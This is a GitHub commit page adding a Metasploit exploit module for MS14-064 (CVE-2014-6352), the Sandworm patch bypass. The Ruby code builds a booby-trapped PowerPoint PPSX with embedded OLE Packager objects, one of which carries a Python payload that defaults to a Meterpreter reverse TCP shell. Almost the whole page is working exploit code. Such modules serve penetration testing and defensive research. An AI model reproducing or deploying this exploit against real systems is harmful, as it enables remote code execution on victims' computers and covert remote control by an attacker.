Skip to content

Commit e25b614

Browse files
committed
Add module for MS14-064 bypassing UAC through python for windows
1 parent f081ede commit e25b614

File tree

1 file changed

+184
-0
lines changed

1 file changed

+184
-0
lines changed
Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python",
17+
'Description' => %q{
18+
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
19+
allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability
20+
publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista
21+
SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.
22+
However, based on our testing, the most reliable setup is on Windows platforms running
23+
Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such as
24+
using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to a
25+
failure in the CPackage::CreateTempFileName function.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Haifei Li', # Vulnerability discovery and exploit technique
31+
'sinn3r', # Metasploit module
32+
'juan vazquez' # Metasploit module
33+
],
34+
'References' =>
35+
[
36+
['CVE', '2014-6352'],
37+
['MSB', 'MS14-064'],
38+
['BID', '70690'],
39+
['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm']
40+
],
41+
'Platform' => 'python',
42+
'Arch' => ARCH_PYTHON,
43+
'Targets' =>
44+
[
45+
['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}],
46+
],
47+
'Privileged' => false,
48+
'DefaultOptions' =>
49+
{
50+
'Payload' => 'python/meterpreter/reverse_tcp'
51+
},
52+
'DisclosureDate' => "Nov 12 2014",
53+
'DefaultTarget' => 0))
54+
55+
register_options(
56+
[
57+
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx'])
58+
], self.class)
59+
end
60+
61+
def exploit
62+
print_status("Creating '#{datastore['FILENAME']}' file ...")
63+
zip = zip_ppsx(payload_packager, trigger_packager)
64+
file_create(zip)
65+
end
66+
67+
def zip_ppsx(ole_payload, ole_trigger)
68+
zip_data = {}
69+
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')
70+
71+
Dir["#{data_dir}/**/**"].each do |file|
72+
unless File.directory?(file)
73+
zip_data[file.sub(data_dir,'')] = File.read(file)
74+
end
75+
end
76+
77+
# add the otherwise skipped "hidden" file
78+
file = "#{data_dir}/_rels/.rels"
79+
zip_data[file.sub(data_dir,'')] = File.read(file)
80+
81+
# put our own OLE streams
82+
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_payload
83+
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_trigger
84+
85+
# create the ppsx
86+
ppsx = Rex::Zip::Archive.new
87+
zip_data.each_pair do |k,v|
88+
ppsx.add_file(k,v)
89+
end
90+
91+
ppsx.pack
92+
end
93+
94+
def payload_packager
95+
payload_name = 'tabnanny.py'
96+
97+
file_info = [2].pack('v')
98+
file_info << "#{payload_name}\x00"
99+
file_info << "#{payload_name}\x00"
100+
file_info << "\x00\x00"
101+
102+
extract_info = [3].pack('v')
103+
extract_info << [payload_name.length + 1].pack('V')
104+
extract_info << "#{payload_name}\x00"
105+
106+
p = payload.encoded
107+
file = [p.length].pack('V')
108+
file << p
109+
110+
append_info = [payload_name.length].pack('V')
111+
append_info << Rex::Text.to_unicode(payload_name)
112+
append_info << [payload_name.length].pack('V')
113+
append_info << Rex::Text.to_unicode(payload_name)
114+
append_info << [payload_name.length].pack('V')
115+
append_info << Rex::Text.to_unicode(payload_name)
116+
117+
ole_data = file_info + extract_info + file + append_info
118+
ole_contents = [ole_data.length].pack('V') + ole_data
119+
120+
ole = create_ole("\x01OLE10Native", ole_contents)
121+
122+
ole
123+
end
124+
125+
def trigger_packager
126+
payload_name = "#{rand_text_alpha(4)}.py"
127+
128+
file_info = [2].pack('v')
129+
file_info << "#{payload_name}\x00"
130+
file_info << "#{payload_name}\x00"
131+
file_info << "\x00\x00"
132+
133+
extract_info = [3].pack('v')
134+
extract_info << [payload_name.length + 1].pack('V')
135+
extract_info << "#{payload_name}\x00"
136+
137+
random_text = rand_text_alpha(4 + rand(4))
138+
file = [random_text.length].pack('V')
139+
file << random_text
140+
141+
append_info = [payload_name.length].pack('V')
142+
append_info << Rex::Text.to_unicode(payload_name)
143+
append_info << [payload_name.length].pack('V')
144+
append_info << Rex::Text.to_unicode(payload_name)
145+
append_info << [payload_name.length].pack('V')
146+
append_info << Rex::Text.to_unicode(payload_name)
147+
148+
ole_data = file_info + extract_info + file + append_info
149+
ole_contents = [ole_data.length].pack('V') + ole_data
150+
151+
ole = create_ole("\x01OLE10Native", ole_contents)
152+
153+
ole
154+
end
155+
156+
def create_ole(stream_name, data)
157+
ole_tmp = Rex::Quickfile.new('ole')
158+
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
159+
160+
stm = stg.create_stream(stream_name)
161+
stm << data
162+
stm.close
163+
164+
directory = stg.instance_variable_get(:@directory)
165+
directory.each_entry do |entry|
166+
if entry.instance_variable_get(:@_ab) == 'Root Entry'
167+
# 0003000C-0000-0000-c000-000000000046 # Packager
168+
clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
169+
entry.instance_variable_set(:@_clsId, clsid)
170+
end
171+
end
172+
173+
# write to disk
174+
stg.close
175+
176+
ole_contents = File.read(ole_tmp.path)
177+
ole_tmp.close
178+
ole_tmp.unlink
179+
180+
ole_contents
181+
end
182+
183+
end
184+

0 commit comments

Comments
 (0)